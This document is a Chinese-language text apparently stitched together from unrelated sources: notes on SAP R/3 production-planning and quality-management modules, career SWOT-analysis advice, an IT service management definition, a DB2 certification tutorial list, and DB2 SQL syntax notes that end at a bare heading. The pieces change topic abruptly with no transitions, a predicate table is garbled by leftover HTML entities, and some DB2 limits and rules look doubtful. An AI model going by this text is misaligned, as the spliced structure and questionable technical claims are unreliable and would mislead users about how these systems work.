使用这些策略，你可以决定是否仅由销售订单来触发生产（定制）或者不由销售订单来触发生产（为库存生产）。或者，你可能想使需求大纲中既有销售订单也有库存订单。如果生产时间比标准的市场交货时间长，那么你可能想在任何销售订单存在之前生产成品或至少生产某些部件。在这种情况下，销售数量是预先计划好的（例如，在销售预测的指导下）。
可以以计划的独立需求形式创建需求大纲。需求管理使用计划的独立需求而客户需求是在销售订单管理中创建的。
计划策略表示计划生产数量与日期的业务过程。在SAP系统中可以使用广泛的生产计划策略，范围从纯订货型生产到备货型生产。根据所选择的策略，可以使用销售订单和/或销售预测值来创建需求大纲。你也可以选择把库存水平移至装配水平以便由新接销售订单来触发最终装配。否则，你也可以专门为装配执行需求管理。
例如，你可以把计划策略组合起来，这意味着你可以为成品选择策略“带最终装配的计划”，但是你仍然可以选择不同的策略，如在此成品的BOM中关于一个重要部件的“在装配层的计划”。
在系统定制中列出了可用于一个物料的计划策略，并且通过策略组该计划策略被分配给物料主记录中的物料，可以为每一种策略定义包含重要控制参数的需求类型。
如上面所提到的，在SAP标准系统中可以使用完整范围的策略，在下列部分中对这些策略给出了详细的描述：
l 备货型生产（10/11）
l 按销售与库存订单以批量生产(30)
l 最终装配计划(40)
l 没有最终装配的计划(50)
l 带有计划物料的计划(60)
l 在装配级计划(70)/在虚拟装配级计划(59)
l 订货型生产(20)
l 具有配置的订货型生产(25)
l 物料变式的订货型生产(3.0C:可库存的类型)(26)
l 无最终装配的计划物料变式(3.0C:可库存类型)(55)
l 使用计划物料计划物料变式(65)
l 特性计划(56/89)
l 计划变式(54)
附录F.3主生产计划(MPS)
主计划和物料需求计划的目的是定制可用能力和收货以适合需求数量。为了确保物料的可用量，不同的缓冲时间和安全库存被输入，这不可避免导致了高库存水平。因此尤其对于有价值的物料会出现高仓储成本。
为了减少这些高仓储成本并同时增加计划稳定性，成品计划和主部件应该很好地协调，因为这些产品的主计划对整个生产流程影响很大。相关零部件的计划依赖于成品的计划结果和主部件，尽管成品代表所有将被计划物料的一小部分。在成品级的频繁更改可引起完整计划运行的不稳定。记住这些事实，MRP控制者经常计划高安全库存水平和缓冲时间以保证物料可用量而不管计划的难度。
因而，使用附加注意来单独计划成品和重要的部件是有意义的。这些物料可以作为主计划项目在SAP系统中被标识，它可以被计划并通过使用一系列特殊工具最终被调整。对这些“主计划项目”的计划导致库存水平的减少并同时提高交货性能和使服务水平更为可靠。
综合而述,R/3主计划模块的主要特征为:
l R/3主计划模块包括需求管理、生产计划管理及主生产计划（MPS）。
l 需求管理与销售与运作计划（SOP）及销售与分销的计划功能完全集成。
l 可以根据生产率或根据详细工艺路线进行集成的能力计划。
l MPS可以在任何计划层进行也可以在多个层次进行。
l 在最终产品或物料层可以选择不同的计划策略，如按冲销预测或订货生产编制计划。
l 订单报告（多层）在所有的生产层次显示作业计划问题。
l R/3支持多地区分销资源计划（DRP）。
附录F.4物料需求计划(MRP)
物料需求计划的主要功能是保证物料的可用量，即它被用于为内部目的以及销售和分销而采购或生产需求数量。这个过程包含库存监控，特别是用于采购和生产的订货建议。
在这个过程中，系统试图达到一方面服务层次最优化但同时在另一方面成本和资金占用最小化之间的平衡。
MRP控制者负责所有作业：指定类型，数量和需求时间，他也必须计算何时为订货建议创建多少数量以满足这些需求。为了计算数量他需要知道库存、库存预留和库存订单的所有信息，为了计算日期他也需要知道提前期和采购时间的信息。为了计算订货建议，MRP控制者必须为每个物料定义适当的MRP过程和批量过程。
供应链开始于销售、分销和需求管理。在销售和分销中，包含实际客户需求的销售订单直接从市场获得。在需求管理中，通过销售预测销售被提前计划。用此信息创建的计划独立需求（即对成品、部件、可贸易的货物和替代零部件的需求）触发物料需求计划。为了满足这些需求，你必须计算重订货数量和日期以及对应的采购元素。在计划运行中该采购元素是计划订单，或对于外部采购，是请购单。这两个采购元素是内部计划元素，它可以在任何时候被更改、重计划或删除。
如果一个物料是自制的，系统通过展开BOM来计算相关需求，或生产成品或部件所需的组件数量。如果存在物料短缺，在每个BOM层创建计划订单以满足需求。
一旦系统完成计算数量和日期，这些计划元素、采购元素就被转换成准确的采购元素：它们被转换成自制的生产订单和外部采购的采购订单。
自制物料的订单处理通过生产订单控制。生产订单包含它自己的排产过程，能力计划和状态管理。通过单个生产订单来执行成本会计。
外部采购的物料触发采购过程。在这种情况下，你必须选择合适的供应商，或必须提出草案协议。
通过生产或外部采购而可用的数量被放置在库存中并通过库存管理进行管理。
物料需求计划的目的是确保正确的物料能及时和在所需的数量上是可用的。在R/3系统中计划运行有两个主要目的：
保证物料的可用量并同时避免过量的库存。
为了确定物料短缺的情况并在计划运行中创建合适的采购元素-这意味MRP控制者必须在物料的例程监控中花较少的时间。为此，系统创建注意以通知MRP控制者关键部分和例外情况，以便他能迅速地再处理自动计划运行的结果。
以下功能对物料需求计划是可用的：
l 总计划和单项计划
l 净改变计划和再生计划
l 物料计划过程（MRP和基于消耗的计划）
l 批量确定过程
l 处理订货建议的易使用功能
l 具有计划订单的装配订单
l 覆盖范围（日供应）
l 不连续的零部件
l 使用替代和代用零部件
l 直接采购和直接生产（汇总订单）
l 评估计划结果的易使用功能
l 例外消息和计划调整检查
l 能力计划
l 可用量检查和拖欠订单处理
l 单层和多层溯源
l 销售订单的单项计划
l 计划可配套产品
l 基于事件的MRP
l 多工厂/地点计划
附录F.5生产计划及生产活动控制
SAP系统中的生产订单
生产订单是PP生产计划系统的重要部分。PP系统是SAP后勤系统的完全集成的组件。它由下列组件集成而成：
l 销售和分销（SD）
l 物料管理（MM）
l 成本控制（CO）
生产计划和控制中的生产订单
在一个公司内，内部作业通过订单被处理。
一个生产订单指定何种物料将被生产，在何处被生产，使用什么作业并且用于什么日期。它并指定在生产过程中需要什么资源，以及订单成本如何被结算。
来自前面计划层（MRP）的计划订单或内部请求一存在，生产作业控制就把特定订单的数据（比如日期和数量）加入已存在的信息中。
生产订单被用于:
l 控制和监控工厂中的生产
l 作为成本会计的成本控制指令
附录F.6能力需求计划
利用R/3系统,你在工作中心中使用能力类别定义可用能力。当在人力计划和发展中计划人力时你可以计划到单独的人。根据定义的工作中心的不同，你也可以定义下列能力类别:
l 在工厂车间中的一台单独机器
l 操作一条生产线的一组人
l 在工厂维护中的一个维护工作中心
l 项目系统中的工程师组
订单是能力计划的核心。订单产生需求因此产生它们被处理的资源的负载。在SAP系统中订单被创建为：
l 物料需求计划中的计划订单
l 工厂车间控制中的生产订单
l 工厂维护中的工厂维护订单
l 项目系统中的网络
订单提供排产的基本数据。订单中的工序中的标准值和数量形成了排产和计算能力需求的基础。
通过R/3系统能力评估,你可以
l 确定可用能力
l 确定能力需求
l 把可用能力和能力需求比较
你可以通过R/3能力均衡来调整工作中心中的不足和过载能力,以及实现最佳的机器和生产线的实行合适资源的选择
附录F.7CAPP标准值计算
关于CAPP标准值计算是生产计划系统（PP）的一部分，CAPP是属于生产计划（PP）的主数据－包括物料主档、物料清单、工艺路线和工作中心。
工艺路线
CAPP（CAPP＝ComputerAidedProcessPlanning）标准值计算为工作计划确定
工艺路线中的标准值而提供了机器的支持。这些标准值是利用执行工序的
工作中心所允许的加工方法或工艺来计算的。
标准值
在SAP系统中，这些标准值用于下列公式中：
l 计划
l 能力计划
l 成本核算
计划
在计划中，利用一个工艺路线中的一个工序中的标准值和数量来确定该工序的执行日期。
能力计划
在能力计划，利用一个工序中的标准值和数量来确定执行该工序的能力需求。这些需求再和工作中心所定义的可用能力进行比较。
成本核算
成本核算计算当物料在本公司进行加工时所发生的成本。成本核算提供了下列各方面的基本信息：
l 定价和定价政策
l 估价
l 成本控制
l 获利能力分析
工艺路线中的工序是通过成本中心和在工作中心中所维护的作业类型来与成本会计相联系的。如果工作中心指明了执行一工序，那么您就可以为保存在该工作中心的作业类型而输入标准值。
在产品成本核算期间，内部作业的估价是在为该作业类型所计划的比率的基础上进行的。作业类型决定了标准值如何被估价。
附录G质量管理（QM）
ISO9000系列标准定义了质量管理功能和质量管理系统的要素。SAPR/3质量管理子系统中的功能可以支持质量管理系统中的所有要素。而SAP系统中的其他集成子系统则进一步补充这些机能。
ISO标准要求质量系统在一个组织中渗透所有过程。按照质量循环（见下图），任务优先级已经从生产（实际阶段！转变为制定质量生产计划和产品开发（计划）、采购和销售&分销，以及整个使用阶段。在生产领域中，质量保证已不再被片面视为检验和消除缺陷的手段。相反，生产自身已成为注意的焦点。
正如同由于ISO9000标准导致对质量管理系统的需求发生了变化一样，计算机辅助质量管理（CAQ）也必须被重新定义。因为一个孤立的CAQ系统无法执行一个质量管理系统的广泛的任务，所以计算机集成质量管理（CIQ）是一个更合适的术语。
SAP系统通过把质量管理功能集成到受影响的应用自身中（例如采购、仓库管理、生产和销售/分销）而不是把它们作为孤立的CAQ系统的代表来考虑这一点。SAP改进的结果是使质量指导中被描述的过程能在电子数据处理（EDP）系统中被执行和自动操作。
SAP系统中一个质量管理系统要素的表示不仅仅是R/3质量管理子系统的责任。相反，R/3系统必须被作为一个整体来考虑，在这个整体中所有被集成的模块都起到自身的作用。例如在SAP系统的结构中，人力资源（HR）模块处理职员相关事件，控制（CO）模块处理相关质量成本的管理，而工厂维护（PM）模块处理测试设备的监测，质量管理模块作为后勤支持系统应用程序的一部分来处理制定质量计划、质量检验和质量控制的传统任务。例如，它在采购的产品确认、质量凭证和问题处理中支持质量管理。
R/3质量管理子系统中的功能被分成下列两大方面以区分关于CIQ和CAQ的任务：
l R/3质量管理子系统的广泛功能（CIQ）
l R/3质量管理子系统的内部功能（CAQ）
附录G.1计算机集成质量管理（CIQ）
因为只要一个集成系统就能支持一个质量管理系统中所有按照ISO9000所应具有的要素，
所以SAPR/3系统中的质量管理集成提供了巨大的优势，集成允许质量管理功能影响公司中所有的过程，并以此影响一种产品生命周期的所有阶段。
R/3质量管理子系统使用SAP系统的集成来把质量管理和那些其他的应用诸如物料管理、生产、销售/分销和成本会计等连接起来。一个由货物接收而自动触发的检验就是一个例子。R/3质量管理子系统被和下列后勤支持系统应用程序的主数据和过程集成起来：
l 物料管理（采购、库存管理、仓库管理、制定物料需求计划）
l 生产（工作计划、车间控制）
l 销售和分销（交货、创建质量证书）
为了防止相关数据被过多地记录和存储，R/3质量管理子系统支持和其他应用程序间的数据交换，例如，当一个检验被触发时，由一次货物接收过帐产生的关于物料、供应商和批量大小的信息被自动传输给检验批量数据记录。
R/3质量管理子系统满足一个CIQ系统的下列功能：
1)一般功能
l 在物料主记录中集成QM检验数据
l 管理供应商和客户或销售与分销门的物料相关的质量信息
l 把质量特性和物料说明中的检验特性连接
l 管理中央凭证管理系统中的质量相关凭证
l 把质量检验以及问题处理（质量通知单）的任务同SAP工作流程功能连接起来
2)物料管理
l 下达供应商
l 管理供应关系的下达状态（例如，为标准交货或其他类型交货）
l 在质量基础上评估供应商
l 管理和调度供应商相关的技术性交货条款和质量保证协议
l 触发货物接收检验
l 要求并监测质量证书的接收
l 触发货物移动（例如货物接收）的检验
l 在检验期间管理货物的库存
l 为制订物料计划的目的而考虑检验库存中的货物
l 把检验结果传输给批次分类
l 管理采购中的问题
3)生产
l 集成检验计划和工作计划
l 在生产期间触发检验
l 连接检验和生产工序
l 支持被集成的加工和质量数据的确认
l 在控制图表帮助下监测生产质量
l 管理一个单个物料的具有不同定性特性的部分批量
l 管理生产中的问题
4)销售/分销
l 在创建交货单时触发一个检验
l 自动为交货创建质量证书
l 管理销售和分销中的问题
5)控制
l 处理评估和不合格成本
附录G.2后勤过程中的质量管理
在R/3系统中，R/3质量管理子系统被集成在下列后勤过程中：
l 采购中的质量管理
l 生产中的QM
l 销售和分销中的QM
质量检验和检验批量在这些过程中扮演了一个重要的角色。
检验批量数据记录，通常被叫做检验批量，从创建到被归档为止执行了许多不同的功能。更重要的是，它们记录了一次检验要求；一个事件的发生使执行一次质量检验变得十分必要。在检验过程中，检验批量成为记录检验当前状态的中央控制记录。它是所有检验数据包括检验说明、检验结果和使用决策等的资源库。
质量检验通常不被质量部门触发。在大多数情况下，进行一次检验的要求从后勤支持系统链中的多种应用中产生（例如，从物料管理或生产中产生）。在那样的情况下，R/3系统中被影响的模块创建检验批量并把它们置于R/3质量管理子系统控制中，当然，质量部门或有正当权限的其他部门也可手工创建检验批量。
附录G.3采购中的质量管理
R/3质量管理子系统被包含于采购过程的下列决策制定阶段：查询、供应商选择、采购订单、货物订单、收货、收到检查和收货数量的下达。
6)供应商下达
质量部门为一种被指定的物料下达一个供应商，它可以限制或限定下达的数量。如果供应商一直有严重的质量问题，则质量部门可以冻结由此供应商供应的特定物料的查询、采购订单或收货。
7)查询
供应商作为查询的一种补充，可以自动接收由质量部门定义的物料技术性交货条款。如果物料必须由质量部门下达，则会相应地通知采购经销商。
8)供应商选择
物料管理（MM）模块通知采购经销商有关供应商的可靠性和价格习性，R/3质量管理子系统提供关于早先交货货物的质量和供应商的质量管理系统的信息。为此目的，系统具有为供应商评估而自动更新的汇总质量记分。
在许多工业企业中，供应商必须维护符合被认同的标准（例如，ISO9003）和被信用组织证明了的质量管理系统。R/3质量管理子系统允许定义所需的质量管理系统，观测并评估供应商现有质量管理系统和比较供应商。
9)采购订单
当采购订单被发出时，必须由质量部门下达供应商来交付有问题的物料（如果此要求被指定）。供应关系的下达必须被限制在一个指定期限的时间和一个指定的数量中。通过采购订单，供应商自动接收有关最近技术性交货条款和当前有效质量保证协议的信息，并有义务在交货中交付一份质量证书。
10)在供应商前提下的检验
有时候，在供应商前提下的检验会取代收货检验。在那样的情况下，系统允许用户监测计划的交货日期并及时为收到日期创建检验批量。
11)收货
如果对一种物料要求证书，则证书必须在接收货物前可用。可以对每一个单独的采购订单项目、批次或收货要求证书。
一般来说，收到货物的数量被过帐到收货检验的持续期的检验库存中。这种库存属于类别“不可用”。它在检验批量处理的范围内被单独管理并且不能通过使用物料管理功能使它被单独过帐。物料需求计划（MRP）部门也要考虑到收货检验的持续期。
12)检验并下达收货批量
检验批量处理在收货时被自动触发。除了收货凭证之外，系统也创建一个检验批量记录。此外，它选择一个合适的检验计划并为所有基于质量级别的检验特性决定样本的大小。此时，检验可被初始化，并且必需的凭证，例如样本绘图指令和检验指令等可以被打印出来。
13)质量检验
当在R/3质量管理子系统中处理一个检验批量时，检验者必须对被检验的货物做出一个使用决策，在特殊情况下，如果用户有权限做出撤消，则检验批量数量可以被事先从检验库存中撤消。一般来说，在同使用决策连接时，库存过帐发生在检验完成之后。
14)使用决策
在检验完成后，被接受的检验批量数量被过帐到非限制使用库存。对于被拒收的数量可以有一个特殊的过帐。当收货数量被下达时，R/3质量管理子系统不再有管理库存的责任。
系统通过使用决策来更新质量级别并使检验批量质量记分可被用于供应商评估。它也更新与物料和供应商相关的质量信息记录中的所有数据。例如，一旦检验批量被接受则供应关系状况被从原型交货改变为生产交货。
15)后继行为
在做出使用决策后，系统可能触发一个附加系列的被单独设计的后继行为，例如，如果接收了有缺陷的货物，将会通过一封索赔信或一份系统支持的质量通知单来通知供应商。
16)供应关系的状态
R/3质量管理子系统监测供应关系如何被下达，用户可以定义某种状态，例如原型、初始系列或生产系列。这些状态代表了一个供应商的物料交货必须依次通过的阶段。然后系统创建具有符合供应关系状态的检验批量类型的检验批量，并在使用决策的基础上自动更新状态。
附录G.4生产计划和控制中的QM
17)集成的计划
生产过程中的生产工序和检验工序逐渐变得更为相互依赖或者说被组合在一起。从而使来自生产和质量检验领域的工作小组共同创建工艺流程。
18)检验工序
可以把QM检验特性集成到生产计划（PP）模块的工作计划和生产处理作业中。可以为一道生产工序创建特性（检验特性或过程特性）并可把测试设备作为生产资源和工具进行分配。可以在相同的生产工序中组合生产和检验作业。在所有其他方面，此工序被看作一道生产工序。
19)检查批量
当创建一份生产订单时，系统也为管理所有工序的检验说明和检验结果而创建一个特殊的检验批量记录。
20)确认
可以把R/3质量管理子系统中的检验结果的确认和PP模块中的生产工序确认连接起来。
21)检验间隔
工艺流程可以事先规定生产经营的有规律的检验间隔。可以在时间、数量或事件的基础上定义检查点，在检查点的帮助下，具有过程特性或检验特性的生产过程可以被持续监测。
22)部分批量
一份生产订单的总数量可以在几个部分批量中被处理。例如，如果生产订单的数量有不同的质量，这就可能是必要的。如果最终产品在批次中被维护，那么当生产订单被完成时，部分批量可被分配给单独的批次。检验结果将被用作批次特性值。
23)控制图表
在生产期间，可以应用统计性过程控制（SPC）技术来监测和控制生产过程，其中包括使用控制图表来显示样本的平均值和标准偏差。控制图表是记录生产过程中的质量趋势的图形工具。
R/3质量管理子系统支持下列具有正态分布模式的检验特性的控制图表类型：
l 有允差极限的平均值图表（接收图表）
l 无允差极限的平均值图表（图表）
l 标准偏差图表
在结果记录期间更新并显示控制图表。系统在当前检验结果或先前检验结果的基础上计算请求的动作限制和警告限制。一个控制图表可以包括几个检验批量或生产订单。虽然控制图表主要在生产期间被用于QM的应用程序，但它们也可被用于其他来源的检验批量（例如，收货）。
24)处理能力索引
当基于检验结果和检验特性差异计算的平均值被视为与计划者设置的预定义限制相关时，将创建一个处理能力索引。
附录G.5销售和分销中的QM
25)货物的检验
在销售处理范围中，系统允许货物在交货单（通常指交货）的基础上被检验。当创建交货时，系统也自动创建一个检验批量。既然系统没有预先规定任何指定过程，那么，就可以灵活地协调领货和检验的过程。
26)批次说明
如果一种物料的库存以批次的形式被管理，则R/3质量管理子系统可以自动把检验结果传输给批次说明。通过这种方式，批次可以在指定批次特性的基础上被选择。
27)证书
在一些工业中，在交货中包括质量证书是一个惯例。质量证书证明了一个批次的物料说明或检验结果。证书由SAP系统中的中央信息控制功能触发。当发运单据被创建时，证书将被打印出来。
为了能使用证书处理能力，用户必须：
l 设计证书页面设置的格式（使用SAPscript）
l 创建证书概要来表示被包含于证书中的特性
l 分配诸如物料一类的主数据
l 决定分配证书（接收者，语言，发送方法）的方法
l 提供用几种语言记录信息的手段
一旦达到了这些要求，系统就自动产生质量证书并通过下列输出设备来分配它们：
l 打印机
l 传真机
l EDI接口（为以后的版本而设计）
系统可以使用SAP存档（ArchiveLink）功能来将质量证书存储在光学存档中。当创建质量证书时，系统从环境中获得信息。其中包括的数据来源于：
质量管理
- 检查量
- 使用决策
- 检验结果
物料管理
- 物料主记录
- 批次主记录
销售和分销
- 交货
- 销售订单
- 用户主记录
28)索赔
偶尔用户会对发送的货物不满意。用户索赔可以由R/3质量管理子系统的质量通知单组件处理。
一般来说，对自身的职业/职业发展问题进行SWOT分析时，应遵循以下五个步骤：
1、评估自己的长处和短处
我们每个人都有自己独特的技能、天赋和能力。在当今分工非常细的市场经济里，每个人擅长于某一领域，而不是样样精通(当然，除非天才)。譬如说，有些人不喜欢整天坐在办公桌旁，而有些人则一想到不得不与陌生人打交道时，心里就发麻，惴惴不安。请做个表，列出您自己喜欢做的事情和您的长处所在(如果您觉得界定自己的长处比较困难，您可以请专业的职业咨询师帮您分析，分析好之后，可以发现您的长处所在)。同样，通过列表，您可以找出自己不是很喜欢做的事情和您的弱势。找出您的短处与发现您的长处同等重要，因为您可以基于自己的长处和短处做两种选择：一是努力去改正您常犯的错误，提高您的技能，二是放弃那些对您不擅长的技能要求很高的职业。列出您认为自己所具备的很重要的强项和对您的职业选择产生影响的弱势，然后再标出那些您认为对您很重要的强、弱势。
2、找出您的职业机会和威胁
我们知道，不同的行业(包括这些行业里不同的公司)都面临不同的外部机会和威胁，所以，找出这些外界因素将助您成功地找到一份适合自己的工作，对您求职是非常重要的，因为这些机会和威胁会影响您的第一份工作和今后的职业发展。如果公司处于一个常受到外界不利因素影响的行业里，很自然，这个公司能提供的职业机会将是很少的，而且没有职业升迁的机会。相反，充满了许多积极的外界因素的行业将为求职者提供广阔的职业前景。请列出您感兴趣的一两个行业，然后认真地评估这些行业所面临的机会和威胁。
3、提纲式地列出今后3-5年内您的职业目标
仔细地对自己做一个SWOT分析评估，列出您从学校毕业后5年内最想实现的四至五个职业目标。这些目标可以包括：您想从事哪一种职业，您将管理多少人，或者您希望自己拿到的薪水属哪一级别。请时刻记住：您必须竭尽所能地发挥出自己的优势，使之与行业提供的工作机会完满匹配。
4、提纲式地列出一份今后3-5年的职业行动计划
这一步主要涉及到一些具体的内容。请您拟出一份实现上述第三步列出的每一目标的行动计划，并且详细地说明为了实现每一目标，您要做的每一件事，何时完成这些事。如果您觉得您需要一些外界帮助，请说明您需要何种帮助和您如何获取这种帮助。例如，您的个人SWOT分析可能表明，为了实现您理想中的职业目标，您需要进修更多的管理课程，那么，您的职业行动计划应说明要参加哪些课程、什么水平的课程以及何时进修这些课程等等。您拟订的详尽的行动计划将帮助您做决策，就像外出旅游前事先制定的计划将成为您的行动指南一样。
5、寻求专业帮助
能分析出自己职业发展及行为习惯中的缺点并不难，但要去以合适的方法改变它们却很难。相信您的父母、老师、朋友、上级主管、职业咨询专家都可以给您一定的帮助，特别是很多时候借助专业的咨询力量会让您大走捷径。有外力的协助和监督也会让您更好的取得效。
职业规划专家洪向阳观点：
很显然，做此类个人SWOT分析需要您的一些投入，而且还需认真地对待，当然要做好您的职业分析难度也很大，但是，不管通过什么渠道，进行一次详尽的个人SWOT分析却是值得的，因为当您做完详尽的个人SWOT分析后，您将有一个连贯的、实际可行的个人职业策略供您参考。在激烈的职场竞争中，拥有一份挑战和乐趣并存、薪酬丰厚的职业是每一个人的梦想，但并不是每一个人都能实现这一梦想。因此，为了使您的求职和个人职业发展更具有竞争力，请认认真真地为您的职业发展做些实事吧。
ITSM-IT Service Management(IT服务管理)是什么：
Gartner认为:是一套(通过服务级别协议-SLA来保证IT服务质量的)协同流程。
融合了管理活动(系统管理，网络管理，系统开发管理等)和许多流程(变更管理，资产管理，问题管理等)的理论和实践。
ITSMF认为：是一种(以流程为导向，以客户为中心的)方法。
通过整合IT服务与企业业务，提高了企业的IT服务提供和服务支持能力和水平。
ITSM可从3个层次上理解：
微观：作为一套流程。
正如Gartner所定义，是一组协同流程。
这组流程的核心部分大多在ITIL中得到描述，以ITIL为基础，更多的IT服务管理流程正在被开发出来。
中观：作为一种方法。
正如ITSMF所定义，是一种方法。从这个角度讲，它就包括了许多管理方法和标准，如ITIL，BS7799,COBIT,BS15000等。
宏观：作为一个领域或行业。
ITSM是一个领域/行业，而ITIL只是该行业其中的一个标准。
本系列教程将帮助您准备 DB2® 9 for Linux®, UNIX® and Windows™ Database Administration (731) 认证考试，通过此考试，您可以获得 "IBM Certified Database Administrator - DB2 9 for Linux, UNIX and Windows" 认证。这些教程提供了考试所需的知识，但需要提醒一句，本教程不能做为参加考试的唯一准备。考试之前，您还需要进一步的巩固和练习。祝您好运！
经过一个快速的注册过程，您就可以马上开始学习这些教程了。每个教程的学习大约需要花 1 个小时。
第 1 部分：服务器管理
学习管理 DB2 数据库服务器所需的技能。本教程提供了数据一致性，事务等方面的信息。
第 2 部分：数据放置
学习如何创建 DB2 数据库，以及存储表、索引、和数据的不同机制。本教程主要关注分区、压缩和 XML 方面的知识。
第 3 部分：数据访问
本教程将带领您学习管理 DB2 对象的各个步骤，其中包括索引、约束、参照完整性和视图的概述信息。
第 4 部分：监控 DB2 活动
本教程为您介绍 DB2 9 提供的一组监控工具，并展示如何利用各种工具来监控您的数据库系统，观察它的运行情况有多好（或者有多糟糕）。
第 5 部分：DB2 实用工具
学习能帮助您适当管理 DB2 数据库服务器的技巧。
第 6 部分：备份与恢复
本教程讨论数据库备份和恢复专题。教程中解释了数据库恢复和日志记录的不同方法，以及如何使用 BACKUP、RESTORE、ROLLFORWARD 和 RECOVER 命令。另外还谈到了新的 DATABASE REBUILD 操作。
第 7 部分：镜像分割与高可用性灾难恢复
本教程主要谈论两个高级高可用性话题：分割镜像和高可用性灾难恢复（HADR）。通过分割镜像，可以使用磁盘备份恢复数据库。而 HADR 则提供了故障转移（failover）支持，这类似于 HACMP 和 Microsoft Cluster Server 提供的故障转移功能。
ref:http://www.ibm.com/developerworks/cn/data/zones/db2cert/db2cert731.html?S_TACT=105AGX52&S_CMP=dwcn-db2cert
SQL定义：SQL是一种面向数据库的通用数据处理语言规范，能完成以下几类功能：提取查询数据，插入修改删除数据，生成修改和删除数据库对象，数据库安全控制，数据库完整性及数据保护控制。
SQL分类：
DDL—数据定义语言（CREATE，ALTER，DROP，DECLARE）
DML—数据操纵语言（SELECT，DELETE，UPDATE，INSERT）
DCL—数据控制语言（GRANT，REVOKE，COMMIT，ROLLBACK）
db2数据类型
CHAR()：定长字符串 最大长度为 254
VARCHAR()：变长字符 最大长度为 4000
SMALLINT：短整型数字 长度为 2 字节
INTEGER：整型数字 长度为 4 字节
REAL：单精度浮点 32 位近似值
DOUBLE：双精度浮点 64 位近似值
DECIMAL(m,n)：数字 精度为m小数位为n
DATE：日期时间
TIME：日期时间
TIMESTAMP：日期时间
DDL—数据库定义语言：直接提交的。
CREATE：用于创建数据库对象。
DECLARE：除了是创建只在过程中使用的临时表外，DECLARE语句和CREATE语句非常相似。唯一可以被声明的对象是表。并且必须放入用户临时表空间。
DROP：可以删除任何用CREATE（数据库对象）和DECLARE（表）创建的对象。
ALTER：允许修改某些数据库对象的信息。不能修改索引。
下面主要基于对象介绍基本的语法：
1、数据库：
创建数据库：CREATE DATABASE database-name [USING CODESET codeset TERRITORY territory]
注：代码页的问题。
删除数据库：drop database dbname
2、表：
创建新表：
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表：
A：create table tab_new like tab_old
B：create table tab_new as select col1,col2… from tab_old definition only
修改表：
增加一个列:
Alter table tabname add column col type
注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。添加主键：
Alter table tabname add primary key(col)
删除主键：
Alter table tabname drop primary key(col)
删除表：drop table tabname
3、表空间：
创建表空间：create tablespace tbsname pagesize 4k managed by database using (file ‘file’ size)
表空间加入容器：alter tablespace tablespace_name add(file 'filename' size)
注：该操作是不可逆的，加入容器后将不能将其删除，因此在加入的时候注意。
删除表空间：drop tablespace tbsname
4、索引：
创建索引：create [unique] index idxname on tabname(col….)
删除索引：drop index idxname
注：索引是不可更改的，想更改必须删除重新建。
5、视图：
创建视图：create view viewname as select statement
删除视图：drop view viewname
注：视图唯一能修改的是引用类型列，改变列的范围。其他定义好了都不能修改。当视图基于的基表drop后，视图变为无效。
DML—数据库操纵语言，它不隐式地提交当前事务 ，是否提交视环境设定而定。
SELECT：从表中查询符合数据
注：条件中连接的问题，避免出现笛卡儿乘积
DELETE：删除已有表的数据
UPDATE：更新已有表的数据
INSERT：向已有表中插入数据
注：DELETE，UPDATE和INSERT是否直接提交取决与执行语句所在的环境。
在执行时注意事务日志满的情况。
1、select时，注意索引谓词和非索引谓词，尽量在有索引的列上使用索引谓词。
谓词类型 可索引 注 释
Col∝con Y ∝代表>;,>;=,=,<=,<,但是<>;不是可索引的。
Col between con1 and con2 Y 在匹配系列中必须是最后的。
Col in list Y 仅对一个匹配列
Col is null Y
Col like ‘xyz%’ Y 模糊匹配%在后面。
Col like ‘%xyz’ N 模糊匹配%在前面。
Col1∝Col2 N Col1和col2来自同一个表
Col∝Expression N 例如：c1（c1+1）/2
Pred1 and Pred2 Y Pred1和Pred2都是可索引的，指相同索引的列
Pred1 or Pred2 N 除了（c1=a or c1=b）外，他可以被认为是c1 in（a，b）
Not Pred1 N 或者任何的等价形式：Not between,Not in,Not like等等。
使用索引的例子介绍：
<1>;、单个表上索引查询的介绍 ：
A：select * from t1 where c1 = 10；
在c1列上无索引，如何检索
在c1列上有索引，如何检索
B：select * from t1 where c1 =10 and c2 between 5 and 10 and c3 like ‘A%’
仅在c1列上有索引
在c1,c2和c3列上有单独的索引
在c1，c2和c3列上有联合索引
此处可以填加索引匹配规则和高级规则，比较难理解！！
<2>;、两个或多个表上索引查询的介绍：
(1)、使用循环嵌套法执行查询
A：select t1.c1,t1.c2,t2.c3,t2.c4 from t1,t2 where t1.c1=10 and t1.c2 =t2.c3
介绍查询的方法，看看哪列上最需要索引。
B：select t1.c1,t1.c2,t2.c3,t2.c4 from t1,t2 where t1.c1=10 and t2.c4 = 10 and t1.c2 =t2.c3
(2)、使用归并连接执行连接查询
例：select t1.c1,t1.c2,t2.c3,t2.c4 from t1,t2 where t1.c1=10 and t2.c4 = 10 and t1.c2 =t2.c3
(3)、三个以上的表进行连接查询采取的规则或者方法
（2）、GROUP BY：实现简单分组的功能，当用group by时，查询选择列中除了在group by中出现的和常量外，其他的列上要用分组函数。可以使用一些分组函数实现一些列不在group by中出现，min，max等。
（3）、HAVING的使用，对一些分组列进行条件判断。
（4）、ORDER BY子句使得SQL在显示查询结果时将各返回行按顺序排列，返回行的排列顺序由ORDER BY 子句指定的表达式的值确定。
2、DELETE：从表中删除记录
语法格式：
DELETE FROM tablename WHERE (conditions)
3、INSERT：向表中插入记录
语法格式：
INSERT INTO tablename (col1,col2,…) VALUES (value1,value2,…);
INSERT INTO tablename (col1,col2,…) VALUES (value1, value2,…), (value1, value2,…),……
Insert不会等待任何程序，不会导致锁定。
4、UPDATE：
语法格式：
UPDATE tabname SET (col1=values1,col2=values2,…) WHERE (conditions);
注：update的速度比较慢，要在相应列上建立索引。
DCL—数据控制语言
GRANT—授予用户权限
REVOKE—撤消用户权限
COMMIT—提交事务，可以使数据库的修改永久化
ROLLBACK—回滚事务，消除上一个COMMIT命令后的所做的全部修改，使得数据库的内容恢复到上一个COMMIT执行后的状态.。
1、GRANT：所有着或者管理员把访问权限赋给其他用户
语法格式：
grant [all privileges|privileges,….] on tabname | viewname to [public|user,….]
2、REVOKE:取消某一用户的某中访问权限
语法格式：
Revoke [all privileges|privileges,….] on tabname | viewname from [public|user,….]
注：不能取消实例级别的用户的任何权限，他们不是通过grant授权的，是通过组实现的权限。
3、COMMIT:把事务中所做的修改永久化记录到数据库。
语法格式：
commit [work]
4、ROLLBACK:将上次提交以来所做的更改全部撤消。
语法格式：
Rollback [work]
高级sql简单介绍
